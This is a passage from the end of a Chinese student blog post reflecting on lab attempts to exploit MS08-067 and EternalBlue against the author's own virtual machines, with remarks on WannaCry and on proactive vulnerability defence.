  虽然Hacker为所欲为,但想要真正成功实施一次入侵还是非常困难的,受到诸多不可控复杂因素限制,还要考虑清除入侵痕迹。在自己搭的环境中实践成不成功有时还(shui)得(ping)看(tai)脸(ci),更何况在未知环境中实际应用!还记得第一次漏洞攻击实验,从周三开始装各种虚拟机挨个找漏洞一直弄到周六才难得成功第一次攻击。在做第一个ms08_067漏洞攻击时,首先是靶机操作系统的选择上,由于第一个经常使用的win7虚拟机已在清明假期被我用腾讯电脑管家打好了补丁很可能没办法实施攻击,因此我先拿PKI实验课上装的没有任何安全防护的win7客户机做试验,发现不行,那就换xp试试呗!然后我便用硬盘里珍藏多年的xp professional镜像安装了一个xp虚拟机,兴高采烈地配置好Armitage,一攻击发现还是不行!!最后问了很多大佬才知道用英文版的xp可以成功,但这我还是攻击了好几次的结果……而“永恒之蓝”的攻击更是连xp都不行而只能用PKI的win7虚拟机才能完成……总的来说,漏洞攻击因“机”而异,寻找漏洞更是完全取决于Hacker的眼力和本领。网络攻防其实就是“找漏洞”和“堵漏洞”之间的较量,而所谓“道高一尺魔高一丈”,漏洞攻击更具有先手优势,未知的敌人永远在未知的暗处对你发起未知的攻击。如今,在安全技术已经比较成熟的几大主流操作系统又在各种知名杀软的保护加持之下,往往被用户认为相对“安全”,但一个新漏洞的发现往往能引起轩然大波,拿到“黑市”中去卖能一夜暴富;更有甚者如去年不法分子利用NSA武器库泄漏的危险漏洞“永恒之蓝”制作出一款蠕虫式勒索病毒软件WannaCry并借助网络大范围传播,锁定被感染用户的系统、加密全部数据并向直接其索取高额比特币,导致一场全球性互联网灾难!
  给我们的启示在于,打补丁的方式虽然可以防范漏洞攻击,但这毕竟是被动的,是在攻击发生之后采取的行为。首先从源头上来说,操作系统研发者就不应该让这些攻击成为可能,但无奈地球上毕竟不存在完美的程序猿,写代码时难免会产生bug。从安全人员的角度来看,要保护一个系统,必须主动一点,像Hacker那样并抢在Hacker之前对当前系统可能存在的所有漏洞进行检测,把漏洞堵起来,不安全的因素找出来,各种安全屏障立起来,让Hacker无机可乘!

网络对抗永远在路上。


  最后还是要感谢一下一路陪我走来的Mac,他的性能足够强劲以至于让我能同时开3个虚拟机做渗透测试(>_<)辛苦啦(>_<)
  最后的最后感谢一下lyd老师(>_<)此处略去n字节(>_<)

本文链接:https://www.cnblogs.com/crazymosquito/p/9063096.html转载请注明出处,谢谢>_<

返回目录

0x0a 参考资料

返回目录


文章来源: http://www.cnblogs.com/crazymosquito/p/9063096.html#5.1
如有侵权请联系:admin#unsafe.sh